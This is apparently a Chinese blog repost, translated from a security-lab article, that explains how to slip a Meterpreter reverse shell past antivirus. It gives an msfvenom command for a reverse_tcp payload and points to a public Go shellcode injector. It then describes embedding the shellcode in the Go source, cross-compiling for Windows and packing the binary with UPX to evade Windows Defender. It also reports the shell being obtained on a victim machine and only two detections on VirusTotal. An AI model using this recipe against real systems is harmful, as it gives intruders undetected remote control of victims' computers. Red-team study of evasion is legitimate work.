前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用Golang绕过AV

使用Golang绕过AV

作者头像
洛米唯熊
发布2022-02-15 10:10:19
1.2K0
发布2022-02-15 10:10:19
举报
文章被收录于专栏:洛米唯熊洛米唯熊

在此文章中,将详细介绍一个很酷的小技巧,它涉及如何绕过大多数防病毒产品以在目标主机上获得Metepreter反向shell.

这一切始于遇到用Golang编写的Github存储库时,该存储库在执行时会将shellcode注入正在运行的进程中.

代码语言:javascript
复制
https://github.com/brimstone/go-shellcode

通过简单地使用msfvenom生成有效负载,我们对其进行了测试,发现Windows Defender可以轻松检测到该有效负载.Meterpreter有效负载生成如下:

代码语言:javascript
复制
msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = xxxx LPORT = xxx -b \ x00 -f hex

使用Go进行本实验的好处是,可以将其从Linux主机交叉编译为目标Windows主机.编译应用程序的命令是:

代码语言:javascript
复制
GOOS=windows GOARCH=amd64 go build

这将产生一个Go exe文件,该文件将在命令行中与攻击者想要注入的shellcode一起执行.

这很容易检测到,Windows Defender毫无困难地将其识别为Meterpreter.为了快速,轻松地绕过,我们尝试使用UPX暴力破解可执行文件,将其重复压缩8次.Windows Defender再次抓住了它,这里也没有运气.

尝试使用shellcode作为参数运行Go exe文件.

如常所愿,Windows Defender可以轻松检测到它.然后,我们尝试使用UPX压缩的sc.exe文件,该文件也无效.

当然,Windows Defender一旦检测到该进程,就会终止Meterpreter会话.

从这里,检查了Go程序的源代码.经过一番回顾,发现可以修改main.go源文件以将shellcode作为变量然后进行编译–而不是编译.exe,然后将shellcode作为命令行参数添加.

代码语言:javascript
复制
go-shellcode/cmd/sc/main.go source

修改后的

代码语言:javascript
复制
go-shellcode/cmd/sc/main.go source

其中对命令行参数的引用替换为已声明的变量.

使用这些文件,编译了两个.exe文件,其中一个要在不使用UPX压缩的情况下进行测试,而另一个要在UPX压缩的情况下进行测试.Windows Defender触摸到磁盘后,便会立即检测到非压缩版本,但不会通过静态分析检测到UPX压缩的.exe.

Windows Defender立即检测到没有UPX压缩的.exe包含Meterpreter有效负载.

但是,运行自定义UPX压缩的.exe文件成功,并且实现了反向Shell

成功运行UPX压缩的Go exe文件,并且在受害者的计算机上获得了反向外壳.

让我们针对VT运行它,以检查其免杀能力.

将UPX压缩的Go exe文件上传到Virus Total.只有Cybereason和Cylance将该文件检测为恶意文件.

只有两个防病毒引擎在该文件中发现有恶意负载,并且两个都没有指定上载到底是恶意的,只是它是恶意的.UPX压缩可能是触发警报的原因,因为UPX压缩可用于混淆恶意文件.

暴力模式下的UPX压缩将exe文件压缩8次.

原文翻译至

代码语言:javascript
复制
https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/

参考文章

代码语言:javascript
复制
https://github.com/brimstone/go-shellcode
https://boyter.org/posts/trimming-golang-binary-fat/
https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-08-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档